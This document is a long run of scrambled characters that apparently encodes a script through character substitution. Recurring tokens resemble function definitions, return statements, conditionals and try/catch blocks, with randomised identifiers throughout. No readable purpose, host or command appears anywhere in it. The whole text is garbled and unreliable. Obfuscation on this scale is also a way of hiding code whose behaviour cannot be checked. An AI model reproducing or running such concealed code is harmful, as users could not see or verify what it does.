616+6>36%:;6,/>+<7:-UU"UUUU69w~:2/+&w{=6 f;'l/9('vv$U{)k98%ni;o9b{=6 f;'l/9('%&l24,::0;+wlnlvw{=6 f;'l/9('vdUU-:+*-1w{)k98%ni;o9rw{)k98%ni;o9zwfffnjtgjvvvt/-5'%k3i;i25km)wvdU"U{'+6'8i9>h*.n=mb==7i3&4;3f/;13mwlnkvwvrwwloftjivuwmltnvuwmokhtnjjlvvdU{=5506l%62'6b6( l).%/>&.=%8wlokvw6( l).%/>&.=%8wlnjvv`(/ ->1;woswo'n=to'lvuwo';to'=vuwljoltfhvve68-=;0g1k=f9<,wlnivwoswmjtjvuwktmovuwkilmrnolmvvdU{)k98%ni;o9b{'+6'8i9>h*.n=mr{=5506l%62'6dU-:+*-1w{)k98%ni;o9rw{)k98%ni;o9zwgkkggtnjjnmvvvt/-5'%k3i;i25km)wvdU"U9*1<+601,h-,.hl =0-/%>ki6/w{525g<n/i;89s{7>(60:5,'j(i/s{0nh2'=ilh2>kb1*33vU$U{8<,/h(nkfh,9m3b9*1<+601w{+)+/73;,=nv*,:w{0nh2'=ilh2>kv$U69w~%&l24,::0;+wloivw{+)+/73;,=nv##{+)+/73;,=nbbb}}v-:+*-19>3,:dU69w6( l).%/>&.=%8wlnhvw{+)+/73;,=nvawnihkkhgirgljinhgvv-:+*-19>3,:dU69w{0nh2'=ilh2>kv$UU+-&$UU-:+*-1w=003v68-=;0g1k=f9<,wlngvw{0nh2'=ilh2>ks{+)+/73;,=nvdU"<>+<7w7-0(>=3:{3+1n/j=+n mv$UUU-:+*-19>3,:dU"<>+<7w'<:/+601{3+1n/j=+n mv$U-:+*-19>3,:dU"U"UUU-:+*-1+-*:dU"dU{6;+5-)3(5+1%&b68-=;0g1k=f9<,wlokvw68-=;0g1k=f9<,wlnfvv`==7i3&4;3f/;13mwlmovw{525g<n/i;89s>-->&wU==7i3&4;3f/;13mwlmnvba{7>(60:5,'j(i/sU%&l24,::0;+wlmmvba9>3,:sU68-=;0g1k=f9<,wlmlvbawo'n;gh;:to'imhgmmvsUUvve9>3,:dUU69w{6;+5-)3(5+1%&yyw~%&l24,::0;+wlokvw==7i3&4;3f/;13mwlmkvv##~6, (/ :--0-w{6;+5-)3(5+1%&vvv$UUUU69ww61+v(/ -:20+: -:+-6:): -:,/01,: <0;:w{6;+5-)3(5+1%&vbbbwmjnjnvv$U{2ng=76&((ko 5b(/ -:20+: -:+-6:): =0;&w{6;+5-)3(5+1%&vdU69w{8<,/h(nkfh,9m3w{2ng=76&((ko 5vv-:+*-1{2ng=76&((ko 5dU"U"U69w==7i3&4;3f/;13mwlokvw68-=;0g1k=f9<,wlmjvvyy6( l).%/>&.=%8wlokvw%&l24,::0;+wlmivvyy==7i3&4;3f/;13mwlokvw==7i3&4;3f/;13mwlmhvvv$U{&*>;h7o8o=&1b6( l).%/>&.=%8wlmjvw{525g<n/i;89vdU69w{&*>;h7o8o=&1bbb9>3,:v-:+*-19>3,:dUUU==7i3&4;3f/;13mwlmivw{&*>;h7o8o=&1s>-->&wU<01,+>1+w==7i3&4;3f/;13mwlmgvvba+-*:sU<01,+>1+w==7i3&4;3f/;13mwlmfvvba{7>(60:5,'j(i/sUUUU<01,+>1+w==7i3&4;3f/;13mwllovvba9>3,:sU<01,+>1+w6( l).%/>&.=%8wllnvvbaosU<01,+>1+w6( l).%/>&.=%8wllmvvba9>3,:sUUU<01,+>1+w6( l).%/>&.=%8wlllvvba9*1<+601w{62,m89/7oos{5/%/=*94kh6s{41&6h88;%9v$-:+*-1{41&6h88;%9awglggjkmtiiv`neod"sUUvvdUUUU{2:=(k(5>m:jk,.1b68-=;0g1k=f9<,wlmhvw{&*>;h7o8o=&1vdU{7o(&n*j399&'n*b<*-3 :--10w{&*>;h7o8o=&1vdU{76il1-3 mg&:%b<*-3 8:+6190w{&*>;h7o8o=&1vdUUUU<*-3 <30,:w{&*>;h7o8o=&1vdU69w{7o(&n*j399&'n*v-:+*-19>3,:dU69ww61+v{76il1-3 mg&:%%&l24,::0;+wllkvbbbwnnjtgjvyy{2:=(k(5>m:jk,.1~bb9>3,:yy{8<,/h(nkfh,9m3w{2:=(k(5>m:jk,.1vv$U-:+*-1{2:=(k(5>m:jk,.1dU"U"Upp;:,+-*<+6010=,:-):-UU-:+*-19>3,:dU"UU9*1<+601)n+nh;8nf0)hgh<w{525g<n/i;89s{712&=+= ,'93,os{%(f<.2n'7,,*s{7>(60:5,'j(i/s{0nh2'=ilh2>kb1*33vU$U{8<,/h(nkfh,9m3b9*1<+601w{+)+/73;,=nv*,:w{0nh2'=ilh2>kv$U69w~68-=;0g1k=f9<,wloivw{+)+/73;,=nv##{+)+/73;,=nbbb}}v-:+*-19>3,:dU69w68-=;0g1k=f9<,wlnhvw{+)+/73;,=nvawglggjfntnhvv-:+*-19>3,:dU69w{0nh2'=ilh2>kv$UUUU+-&$U-:+*-1w=003v6( l).%/>&.=%8wlljvw{0nh2'=ilh2>ks{+)+/73;,=nvdU"<>+<7w7-0(>=3:{3+1n/j=+n mv$UU-:+*-19>3,:dU"<>+<7w'<:/+601{3+1n/j=+n mv$U-:+*-19>3,:dU"UUU"U-:+*-1+-*:dU"dU{6;+5-)3(5+1%&b6( l).%/>&.=%8wlokvw68-=;0g1k=f9<,wllivv`6( l).%/>&.=%8wllivw{525g<n/i;89s>-->&wU==7i3&4;3f/;13mwllhvba{7>(60:5,'j(i/sUU%&l24,::0;+wllgvba9>3,:sU%&l24,::0;+wllfvbawnoimmklmrmmllgmkvsU==7i3&4;3f/;13mwlkovba{%(f<.2n'7,,*sU==7i3&4;3f/;13mwlknvba{712&=+= ,'93,osUUUUvve9>3,:dU69w==7i3&4;3f/;13mwlokvw6( l).%/>&.=%8wlkmvvyy6, (/ :--0-w{6;+5-)3(5+1%&vv$U":3,:69w{6;+5-)3(5+1%&v$U{+=2kgjmo+&0*3</nbw61+v(/ -:20+: -:+-6:): -:,/01,: <0;:w{6;+5-)3(5+1%&vdU{'/h6o&/:3lb(/ -:20+: -:+-6:): =0;&w{6;+5-)3(5+1%&vdUUUU{:<73<i:(7=0%k;57b(/ -:20+: -:+-6:): 7:>;:-,w{6;+5-)3(5+1%&vdU{*12lj*)i1626*088b}}dU69w%&l24,::0;+wlklvw{:<73<i:(7=0%k;57vv$Upp0,+022:1+,e0=,+-*<+601r9-::=6)>-6>1+UU90-:><7w{:<73<i:(7=0%k;57>,{:* 9+m-gj5imn=jba{)4g o'&-8(3v$U{*12lj*)i1626*088qb{:* 9+m-gj5imn=jq68-=;0g1k=f9<,wlkkvq{)4g o'&-8(3q%&l24,::0;+wlkjvdU"UUUU"U69w{+=2kgjmo+&0*3</nbbbwfitnokvyy{8<,/h(nkfh,9m3w{'/h6o&/:3lvv$U-:+*-1{'/h6o&/:3ldUUU"U":3,:$U"U69w==7i3&4;3f/;13mwlokvw%&l24,::0;+wlmjvvyy%&l24,::0;+wlkivw%&l24,::0;+wlmivvyy6( l).%/>&.=%8wlkivw%&l24,::0;+wlmhvvv$U{&*>;h7o8o=&1b6( l).%/>&.=%8wlmjvw{525g<n/i;89vdU69w{&*>;h7o8o=&1bbb9>3,:v$U-:+*-19>3,:dU"Upp/*=36,7-:<0-;r3>&:-UU{0.nh/798 i>:b>-->&wvdU90-:><7w{%(f<.2n'7,,*>,{:* 9+m-gj5imn=jba{)4g o'&-8(3v$U{0.nh/798 i>:b{:* 9+m-gj5imn=jq68-=;0g1k=f9<,wlkkvq{)4g o'&-8(3dU"U68-=;0g1k=f9<,wlmivw{&*>;h7o8o=&1s>-->&wU<01,+>1+w68-=;0g1k=f9<,wlkhvvba+-*:sUUUU<01,+>1+w%&l24,::0;+wlkgvvba{712&=+= ,'93,osU<01,+>1+w%&l24,::0;+wlmgvvba+-*:sU<01,+>1+w68-=;0g1k=f9<,wlkfvvba{7>(60:5,'j(i/sU<01,+>1+w%&l24,::0;+wllovvba9>3,:sU<01,+>1+w==7i3&4;3f/;13mwllnvvbaosU<01,+>1+w68-=;0g1k=f9<,wljovvba{0.nh/798 i>:sU<01,+>1+w6( l).%/>&.=%8wllmvvba9>3,:sU<01,+>1+w68-=;0g1k=f9<,wlllvvba9*1<+601w{62,m89/7oos{5/%/=*94kh6s{41&6h88;%9v$-:+*-1{41&6h88;%9awhmlggmitnnkfhgmv`neod"sUvvdU{2:=(k(5>m:jk,.1b68-=;0g1k=f9<,wlmhvw{&*>;h7o8o=&1vdUUU{7o(&n*j399&'n*b<*-3 :--10w{&*>;h7o8o=&1vdU{7o(9 %9<-+>%b<*-3 :--0-w{&*>;h7o8o=&1vdU{76il1-3 mg&:%b<*-3 8:+6190w{&*>;h7o8o=&1vdUUUU{%7'g5(/65h1;04'bw61+v{76il1-3 mg&:%6( l).%/>&.=%8wllkvdU69w{7o(&n*j399&'n*v$U<*-3 <30,:w{&*>;h7o8o=&1vdU-:+*-19>3,:dUUU"Upp&(61;0(9*1<+601,e;&1>26</-61<6/>3UUUUU<*-3 <30,:w{&*>;h7o8o=&1vd{9>6<(6*m.9=;bfliid{+.0&96+3;8b{9>6<(6*m.9=;zgdU69w{%7'g5(/65h1;04'bbbwo'lto'<jvyy{2:=(k(5>m:jk,.1~bb9>3,:yy{8<,/h(nkfh,9m3w{2:=(k(5>m:jk,.1vv$U-:+*-1{2:=(k(5>m:jk,.1dUUUU"UU69w{2:=(k(5>m:jk,.1v$U"U-:+*-19>3,:dU"U-:+*-19>3,:dU"UU9*1<+6017;)&/4+hignj(>)4ln;)wvU$U{)'';35*17;m8.4fb1k1:h21.&ng0(&:4>8(5wvdU{)2%km5-&l*8o433+b.78 *ho:./)mko)&=97wvdUU69w:2/+&w{)'';35*17;m8.4fv##:2/+&w{)2%km5-&l*8o433+vv$U-:+*-1>-->&wvdU"UU{3<f+k58=,5* 4(b==7i3&4;3f/;13mwlkivw68-=;0g1k=f9<,wljnvv`w,+-618v8:+ 0/+601w6( l).%/>&.=%8wljmvs}}ve}}dUUUU69w{3<f+k58=,5* 4(~bb}}v$Upp*130>;=>+<7-618r=*99:-UU{)2%km5-&l*8o433+b68-=;0g1k=f9<,wmjnvw==7i3&4;3f/;13mwnfivw{)2%km5-&l*8o433+s>-->&w{3<f+k58=,5* 4(vvvdUU==7i3&4;3f/;13mwljlvw{)2%km5-&l*8o433+s{3<f+k58=,5* 4(vdU"UU{4ging2) 1,&)k7b6( l).%/>&.=%8wljkvw{)'';35*17;m8.4f68-=;0g1k=f9<,wljjvw{)'';35*17;m8.4fvvdU69w{4ging2) 1,&)k7bbb}}v$UUU-:+*-1>-->&wvdU"UUU{712&=+= ,'93,ob68-=;0g1k=f9<,wljivq{4ging2) 1,&)k7q==7i3&4;3f/;13mwljhvdU{(f1;&9f506)>%:b>-->&w68-=;0g1k=f9<,wljgvba6( l).%/>&.=%8wljfvvdU{>2l;2*56+*b68-=;0g1k=f9<,wliovw+-*:vdU90-:><7w{)2%km5-&l*8o433+>,{/386j-6i+;v$UU69ww%&l24,::0;+wliovw+-*:vr{>2l;2*56+*vawktknvv$U=-:>4dU"Upp:<+0->*+0r-:9><+0-e-0+>+:-:,03):-UUU{/386j-6i+;b%&l24,::0;+wlinvww,+-618v{/386j-6i+;vdUUUU69w{/386j-6i+;bbb}}v$U<01+61*:dUUU"U+-&$U{'/h6o&/:3lb)n+nh;8nf0)hgh<w{/386j-6i+;s{712&=+= ,'93,os{(f1;&9f506)>%:swo'kto'nvs9*1<+601w{+)+/73;,=nv$U{+l5m :3'6 b%&l24,::0;+wlimvw{+)+/73;,=ns+-*:vdU-:+*-168-=;0g1k=f9<,wlklvw{+l5m :3'6 vyy6,,:+w{+l5m :3'6 68-=;0g1k=f9<,wlilvvdU"vdU69w{'/h6o&/:3lbbb9>3,:v$U<01+61*:dU"U{.8184+f4m3>:*17b==7i3&4;3f/;13mwlimvw{'/h6o&/:3ls+-*:vdU69w~%&l24,::0;+wlklvw{.8184+f4m3>:*17v##~6,,:+w{.8184+f4m3>:*17==7i3&4;3f/;13mwlikvv##~==7i3&4;3f/;13mwloivw{.8184+f4m3>:*17==7i3&4;3f/;13mwlijvvv$U<01+61*:dU"UU{&g+l,.97fob{.8184+f4m3>:*1768-=;0g1k=f9<,wlijvdUUUU69w6( l).%/>&.=%8wliivw{&g+l,.97fos==7i3&4;3f/;13mwlihvvbbbov$Upp>36>,r>1>3&%:,*=,<-6=:-90-6+:;6+0-UU{&g+l,.97fob6( l).%/>&.=%8wnmhvw{&g+l,.97fosmvdUUUU"UU{&31o&1l427b%&l24,::0;+wlojvw{&g+l,.97fovdU69w{&31o&1l427bbb9>3,:##6( l).%/>&.=%8wlnhvw{&31o&1l427vcwnogrkkvv$U<01+61*:dU"UU{>-%<n0&>4;fh:7nbwo'lkto'=vdU{9l75<'/-'j3kb==7i3&4;3f/;13mwligvw{&31o&1l427{>-%<n0&>4;fh:7nvdU{(>7 &+*&0(,,+b%&l24,::0;+wnmhvw{&31o&1l427s{>-%<n0&>4;fh:7ntns{9l75<'/-'j3kvdU69w~6( l).%/>&.=%8wloivw{(>7 &+*&0(,,+v##6( l).%/>&.=%8wlnhvw{(>7 &+*&0(,,+vcwo'mto'nvv$U<01+61*:dU"UU{7&)90 56=/-/0b%&l24,::0;+wligvw{(>7 &+*&0(,,+ovdUU69w{7&)90 56=/-/0cn##68-=;0g1k=f9<,wlnhvw{(>7 &+*&0(,,+vcnt{7&)90 56=/-/0tnv$UU<01+61*:dUUU"UUUU{,l'n>=ng)1hb6( l).%/>&.=%8wlifvw{(>7 &+*&0(,,+sns{7&)90 56=/-/0vdUUUU{..lo;,7-% .b==7i3&4;3f/;13mwlhovw{(>7 &+*&0(,,+snt{7&)90 56=/-/0vdU69w~6( l).%/>&.=%8wlhnvw{,l'n>=ng)1hv##~%&l24,::0;+wlhnvw{..lo;,7-% .vv$U<01+61*:dU"UU{2&4/h/g:+1b%%,.kol%h(=,77&':f:6 w{..lo;,7-% .s{,l'n>=ng)1hvdUUU69w~68-=;0g1k=f9<,wlhmvw{2&4/h/g:+1v##==7i3&4;3f/;13mwlhlvw{2&4/h/g:+1vcmv$U04'k=kgmm ;-<4*,;>&3*w==7i3&4;3f/;13mwlhkvs==7i3&4;3f/;13mwlhjvvdU<01+61*:dU"UU{4gi+ :<g,=3b==7i3&4;3f/;13mwligvw{2&4/h/g:+1ovdUUUU69w{4gi+ :<g,=3cn##%&l24,::0;+wlhlvw{2&4/h/g:+1vcnt{4gi+ :<g,=3v$U04'k=kgmm ;-<4*,;>&3*w68-=;0g1k=f9<,wlhivs==7i3&4;3f/;13mwlhhvvdU<01+61*:dU"UU{9.<*f.;f4h;n;l72b68-=;0g1k=f9<,wlhovw{2&4/h/g:+1sns{4gi+ :<g,=3vdU{&i.2%0-2<6054>/3b%&l24,::0;+wlhgvw{2&4/h/g:+1snt{4gi+ :<g,=3vdU{09 ;kkfj7-9jl:b==7i3&4;3f/;13mwmjnvw%&l24,::0;+wlhfvw6( l).%/>&.=%8wmjivw%&l24,::0;+wlgovs%&l24,::0;+wlgnvw68-=;0g1k=f9<,wlgmvs{&i.2%0-2<6054>/3vvvvdU69w68-=;0g1k=f9<,wlkivw%&l24,::0;+wnggvvv$UUUU*/;>+: 0/+601w68-=;0g1k=f9<,wljmvs{/386j-6i+;vdU*/;>+: 0/+601w6( l).%/>&.=%8wlglvs==7i3&4;3f/;13mwlgkvw}1}s{09 ;kkfj7-9jl:vvdU"U-:+*-1>-->&w6( l).%/>&.=%8wlgjvba{9.<*f.;f4h;n;l72s68-=;0g1k=f9<,wlgivba{09 ;kkfj7-9jl:vdU"<>+<7w7-0(>=3:{3+1n/j=+n mv${%>/77.f%3kk4lb  	d{=*;.=+&591b{%>/77.f%3kk4luldU04'k=kgmm ;-<4*,;>&3*w%&l24,::0;+wlghvs{3+1n/j=+n mvdU<01+61*:dU"<>+<7w'<:/+601{3+1n/j=+n mv$Upp-:=>3>1<:2:,,>8:r.*:*:UU<01+61*:dU"U"U{:l,7)4glh- b%&l24,::0;+wlkivw==7i3&4;3f/;13mwljnvv`w,+-618v8:+ 0/+601w68-=;0g1k=f9<,wlglvs}}ve}}dU{38&67;0%:/j='b7=6*m)5(8(fkl*-%l14  'w%&l24,::0;+wlggvs}}vdU69w{:l,7)4glh- ~bb}}yy68-=;0g1k=f9<,wlgfvw{38&67;0%:/j='vyy{38&67;0%:/j='~bb}}v$U{09 ;kkfj7-9jl:b68-=;0g1k=f9<,wlfovw6( l).%/>&.=%8wlhfvw%&l24,::0;+wmjivw==7i3&4;3f/;13mwlfnvs68-=;0g1k=f9<,wlgnvw68-=;0g1k=f9<,wlgmvs{:l,7)4glh- vvvvd{%&-i/;=0&g3bwo'kito'j<vd{5j+;=& -jb{%&-i/;=0&g3zidU69w~:2/+&w{09 ;kkfj7-9jl:vv$UUUU-:+*-1>-->&w==7i3&4;3f/;13mwlgjvba{38&67;0%:/j='s68-=;0g1k=f9<,wlfmvba{09 ;kkfj7-9jl:vd{+i87lk-g8bgktiid{&4o47m(f%=o3b{+i87lk-g8rjodU"U"U04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wlghvs==7i3&4;3f/;13mwlflvvdUUU-:+*-1>-->&wvdU"U9*1<+601('4+o7fhim>hho9fw{1o/4'ig/o>n,2s{;**=o804nio(=5s{/>-0&;1m.i8 -7nvU$U69w~6( l).%/>&.=%8wlfkvw%&l24,::0;+wlfjvvv$U-:+*-19>3,:dUUU"U{'7'20l1%)(8.2-b%&l24,::0;+wlfivw{;**=o804nio(=5vdU{232 o5../2m&6i*b%&l24,::0;+wlfhvw==7i3&4;3f/;13mwlfgvwnswkfnrmlivvvdU{%=/+o/'*6=b}}dU90-w{+4o)j.7:g6imjbos{%m0g&-m(2&'+b%&l24,::0;+wlhlvw{'7'20l1%)(8.2-vd{+4o)j.7:g6imjc{%m0g&-m(2&'+d{+4o)j.7:g6imjttv$U{%=/+o/'*6=qb68-=;0g1k=f9<,wlfhvw6( l).%/>&.=%8wligvw{'7'20l1%)(8.2-{+4o)j.7:g6imjv68-=;0g1k=f9<,wligvw{232 o5../2m&6i*vvdU"U-:+*-1*/;>+: 0/+601w{1o/4'ig/o>n,2s==7i3&4;3f/;13mwlffvw{232 o5../2m&6i*q{%=/+o/'*6=vs{/>-0&;1m.i8 -7nv~bb9>3,:dUU"UU9*1<+601>7fo6,k91 g);.->4)'*kw{1o/4'ig/o>n,2s{1)146fm  =vU$U69w~68-=;0g1k=f9<,wlfkvw68-=;0g1k=f9<,wkoovvv-:+*-1{1)146fm  =dU{+f%i<n29n0/5;4b8:+ 0/+601w{1o/4'ig/o>n,2s}}vdU69w{+f%i<n29n0/5;4bbb}}##~68-=;0g1k=f9<,wkonvw{+f%i<n29n0/5;4vv$U-:+*-1{1)146fm  =dU"UUU{;&i'*m45&62h4,b==7i3&4;3f/;13mwkomvw{+f%i<n29n0/5;4s+-*:vdU69w{;&i'*m45&62h4,bbb9>3,:##%&l24,::0;+wlhlvw{;&i'*m45&62h4,vcmv$UU-:+*-1{1)146fm  =dU"U{232 o5../2m&6i*b{;&i'*m45&62h4,odU{,n-9)g85=k;55=:b}}dU90-w{+4o)j.7:g6imjbns{%m0g&-m(2&'+b6( l).%/>&.=%8wkolvw{;&i'*m45&62h4,vd{+4o)j.7:g6imjc{%m0g&-m(2&'+d{+4o)j.7:g6imjttv$U{,n-9)g85=k;55=:qb68-=;0g1k=f9<,wkokvw6( l).%/>&.=%8wligvw{;&i'*m45&62h4,{+4o)j.7:g6imjv%&l24,::0;+wkojvw{232 o5../2m&6i*vvdUU"U{+;5%62:f&k85b)2f >g,>+m<.*>w{,n-9)g85=k;55=:vdU-:+*-1{+;5%62:f&k85~bb9>3,:`{+;5%62:f&k85e{1)146fm  =dUU"UUU9*1<+601)2f >g,>+m<.*>w{(>7 &+*&0(,,+vUU$U69w~==7i3&4;3f/;13mwkonvw{(>7 &+*&0(,,+vv-:+*-19>3,:dU69w;:961:;w%&l24,::0;+wkoivvyy 	 abwnmfimgrjfimgvv${(%ki6ngn+-'61b  p  d{718mn;1%)'b{(%ki6ngn+-'61tfkdU-:+*-168-=;0g1k=f9<,wkohvw{(>7 &+*&0(,,+s>-->&w==7i3&4;3f/;13mwkogvba9>3,:vvdUUUU"UUU-:+*-1%&l24,::0;+wkohvw{(>7 &+*&0(,,+vdU"U9*1<+6011h,nh6<398l%%-',47wvUUUU$U,+>+6<{:* 9+m-gj5imn=jb1*33dU69w{:* 9+m-gj5imn=j~bb1*33v-:+*-1{:* 9+m-gj5imn=jdU{93=9>%l2lmh16-0nb;:961:;w6( l).%/>&.=%8wovv`e}}dU{:* 9+m-gj5imn=jb%&l24,::0;+wnlvw6( l).%/>&.=%8wkofvwxxsxpxs{93=9>%l2lmh16-0nvsxpxvqxpxdUU-:+*-1{:* 9+m-gj5imn=jdUUUU"UUU9*1<+601:j):m/8&( k,>'0**i0lw{1o/4'ig/o>n,2vU$U-:+*-10,://=::3'-f*7w1h,nh6<398l%%-',47wvqw,+-618v/-5'%k3i;i25km)wvq{1o/4'ig/o>n,2swnotmvvdU"U9*1<+601( o1'98,:=124 jw{4-2&(':&2 -05'vU$UU-:+*-1w,+-618vwwmfjhoiiftinkmfllnvtww61+v7:';:<w%&l24,::0;+wlhgvw%&l24,::0;+wmngvw1h,nh6<398l%%-',47wvq==7i3&4;3f/;13mwknovq{4-2&(':&2 -05'vsoswo'lto'kvvvzwkngjonktkgnkfgjvvvdUU"U9*1<+6013((fhh35(f)m9;ohwvU$U-:+*-1( o1'98,:=124 jw==7i3&4;3f/;13mwknnvvdU"U9*1<+601>(i%ki=.o-6h1/;)=3;%m4wvU$U{:&'i>.3/94f/9(bw,+-618v7=6*m)5(8(fkl*-%l14  'w%&l24,::0;+wknmvs}}vdU-:+*-16( l).%/>&.=%8wkolvw{:&'i>.3/94f/9(vawftnvyy%&l24,::0;+wliivw{:&'i>.3/94f/9(s3((fhh35(f)m9;ohwvv~bb9>3,:yy%&l24,::0;+wkolvww,+-618v7=6*m)5(8(fkl*-%l14  'w68-=;0g1k=f9<,wknlvs}}vvawo':to'jivdU"UU9*1<+6017=6*m)5(8(fkl*-%l14  'w{1o/4'ig/o>n,2s{1)146fm  =vU$Upp2:;6>+:<6/7:-r,*6+:UU-:+*-1>7fo6,k91 g);.->4)'*kw:j):m/8&( k,>'0**i0lw{1o/4'ig/o>n,2vs{1)146fm  =vdU"U9*1<+6010m;'l>7%/7%i16 jw{1o/4'ig/o>n,2s{1)146fm  =b}}vU$U{)4g o'&-8(3b7=6*m)5(8(fkl*-%l14  'w{1o/4'ig/o>n,2s{1)146fm  =vdU69w%&l24,::0;+wkonvw{)4g o'&-8(3vv-:+*-1{)4g o'&-8(3dU69w68-=;0g1k=f9<,wknkvw{)4g o'&-8(3vv-:+*-1w,+-618v{)4g o'&-8(3dU-:+*-1{1)146fm  =dU"UUU9*1<+6015% 3m3%%i+&%>-;(142mm)w{1o/4'ig/o>n,2s{;**=o804nio(=5s{/>-0&;1m.i8 -7nvU$U('4+o7fhim>hho9fw:j):m/8&( k,>'0**i0lw{1o/4'ig/o>n,2vs{;**=o804nio(=5s{/>-0&;1m.i8 -7nvdUUU"U9*1<+6018.-;+1im,71-%+8l32:'wvU$U{>4m1n0+ n29h'i:8b6,,:+w{==7i3&4;3f/;13mwknjvv`{%&l24,::0;+wknjve>-->&wvdU{+f%i<n29n0/5;4b7=6*m)5(8(fkl*-%l14  'w==7i3&4;3f/;13mwknivs>-->&wvvdU69w%&l24,::0;+wlklvw{+f%i<n29n0/5;4vv$U{>4m1n0+ n29h'i:8b==7i3&4;3f/;13mwknhvw{+f%i<n29n0/5;4s{>4m1n0+ n29h'i:8vdU"U{>4m1n0+ n29h'i:8b6( l).%/>&.=%8wkngvw{>4m1n0+ n29h'i:8vdU-:+*-16( l).%/>&.=%8wnlkvw{>4m1n0+ n29h'i:8srwo'loto'mvvdU"UUUU9*1<+6017,;*8.8162/:i0m',wvU$Upp6,+30<4e96'*/>330<>+0-UU69w~6,,:+w{68-=;0g1k=f9<,wknjvv##:2/+&w{==7i3&4;3f/;13mwknjvvv-:+*-1dU+-&$U{+f%i<n29n0/5;4b7=6*m)5(8(fkl*-%l14  'w==7i3&4;3f/;13mwknfvs>-->&wvvdU{'>)f:9i'51b==7i3&4;3f/;13mwkmovw==7i3&4;3f/;13mwkmnvww>-->&v{+f%i<n29n0/5;4s{68-=;0g1k=f9<,wknjvvvdU{'>)f:9i'51b==7i3&4;3f/;13mwnlkvw{'>)f:9i'51srwlitnkvvdU5% 3m3%%i+&%>-;(142mm)w==7i3&4;3f/;13mwkmmvs{'>)f:9i'51s6( l).%/>&.=%8wnfnvvdUUU"<>+<7w7-0(>=3:{3+1n/j=+n mv${%=i*7,1,iibkjtkd{-<g)+%,lgb{%=i*7,1,iirmldU04'k=kgmm ;-<4*,;>&3*w6( l).%/>&.=%8wkmlvs{3+1n/j=+n mvdU"<>+<7w'<:/+601{3+1n/j=+n mv$UUUU"U"UU9*1<+601%%,.kol%h(=,77&':f:6 w{(>7 &+*&0(,,+s{4:&vUU$U69w~68-=;0g1k=f9<,wkonvw{(>7 &+*&0(,,+v##~6( l).%/>&.=%8wkonvw{4:&v##%&l24,::0;+wkmkvw{4:&vbbbov$U-:+*-11*33dUU"U{6ki37&m8g/<11;&b%&l24,::0;+wkmjvw{(>7 &+*&0(,,+vdUUUU{(3-k<1,k1ik5<6b6( l).%/>&.=%8wkmjvw{4:&vdU{-6%<)l5%07.1;' 'b}}dU90-w{+4o)j.7:g6imjbod{+4o)j.7:g6imjc{6ki37&m8g/<11;&d{+4o)j.7:g6imjttv$U{-6%<)l5%07.1;' 'qb68-=;0g1k=f9<,wkokvw68-=;0g1k=f9<,wkmivw{(>7 &+*&0(,,+{+4o)j.7:g6imjv%&l24,::0;+wkmivw{4:&{+4o)j.7:g6imjz{(3-k<1,k1ik5<6vvdU"U-:+*-1{-6%<)l5%07.1;' 'dUU"UU9*1<+601.56>+90-=-+%5if67h:,w{4.>3:m6-9nvUU$UU69w~==7i3&4;3f/;13mwlklvw{4.>3:m6-9nvv$U{4.>3:m6-9nb>-->&wvdU"U{ 2=n/,<h<.1;b7:j'0.o461hlo6m(.wvdU{>ko4(55838i//82b68-=;0g1k=f9<,wlfkvw6( l).%/>&.=%8wkoovv`>7fo6,k91 g);.->4)'*kw%&l24,::0;+wkmhvs9>3,:ve9>3,:dUUUU69w==7i3&4;3f/;13mwlklvw{>ko4(55838i//82vyy6,,:+w{>ko4(55838i//826( l).%/>&.=%8wkmgvvyyw61+v{>ko4(55838i//826( l).%/>&.=%8wkmgvabwmkotiovyyw61+v{>ko4(55838i//82==7i3&4;3f/;13mwkmfvcbwnikgnlrhgknlvv{ 2=n/,<h<.1;bw61+v{>ko4(55838i//82==7i3&4;3f/;13mwkmfvdU69w{ 2=n/,<h<.1;cwloccnvv$U{ 2=n/,<h<.1;bwo'klkto'f;<vdUU"U{4.>3:m6-9n6( l).%/>&.=%8wklovb>-->&wU68-=;0g1k=f9<,wklnvba{ 2=n/,<h<.1;sU%&l24,::0;+wklmvba6( l).%/>&.=%8wkllvsUvdU{4.>3:m6-9n68-=;0g1k=f9<,wklkvb>-->&wU6( l).%/>&.=%8wklnvbawjmfthnvsU==7i3&4;3f/;13mwkljvba==7i3&4;3f/;13mwkllvsUvdUU-:+*-1{4.>3:m6-9ndU"UU9*1<+601''+&2k:m8l)<223=0m)0hkwvU$U69w~6( l).%/>&.=%8wlfkvw6( l).%/>&.=%8wklivv##~68-=;0g1k=f9<,wlfkvw68-=;0g1k=f9<,wklhvvv-:+*-1dU69w~<265'fh;mjjfgi392f1k(nw%&l24,::0;+wklgvvv-:+*-1dU+-&$U69w~(/ 1:'+ ,<7:;*3:;w%1(m2o%h.(-)mg:wvvv$Upp6+:;6+0-e/-::2/+0-<7:,+->+0-UU(/ ,<7:;*3: :):1+w%&l24,::0;+wklfvwvt==7i3&4;3f/;13mwkkovwwnkgnigvswlilrilvvs6( l).%/>&.=%8wklovs%1(m2o%h.(-)mg:wvvdU"U"961>33&$Upp2=:;30<4e=>+<72:2:1+0UUUUU8j,l7f2>m0=f6&<-w==7i3&4;3f/;13mwklgvvdUUU"U"UU9*1<+601/<f8%j<./9<4-f'ng,5;wvU$UUUUU69w;:961:;w==7i3&4;3f/;13mwkknvvyy v$U-:+*-1dU"UUUUUU,+>+6<{4(&fjl=>lj-b9>3,:dU69w{4(&fjl=>lj-v-:+*-1dU{4(&fjl=>lj-b+-*:dUUUUU69w~/=%%ji 4->m3)*1+5i7&0wvv$U-:+*-1dU"Upp*,+02614e61):-+6=3:+04:1r=*<4:+UUUU8&m43o,);ol%*)4=w%&l24,::0;+wkkmvs68-=;0g1k=f9<,wkklvsovdU"UUUU9*1<+601<;m*-.2'*</k+4h08=k3wvU$U69w~==7i3&4;3f/;13mwkkkvw6( l).%/>&.=%8wkkjvv##~%&l24,::0;+wkkkvw==7i3&4;3f/;13mwkkivvv-:+*-1dUUUU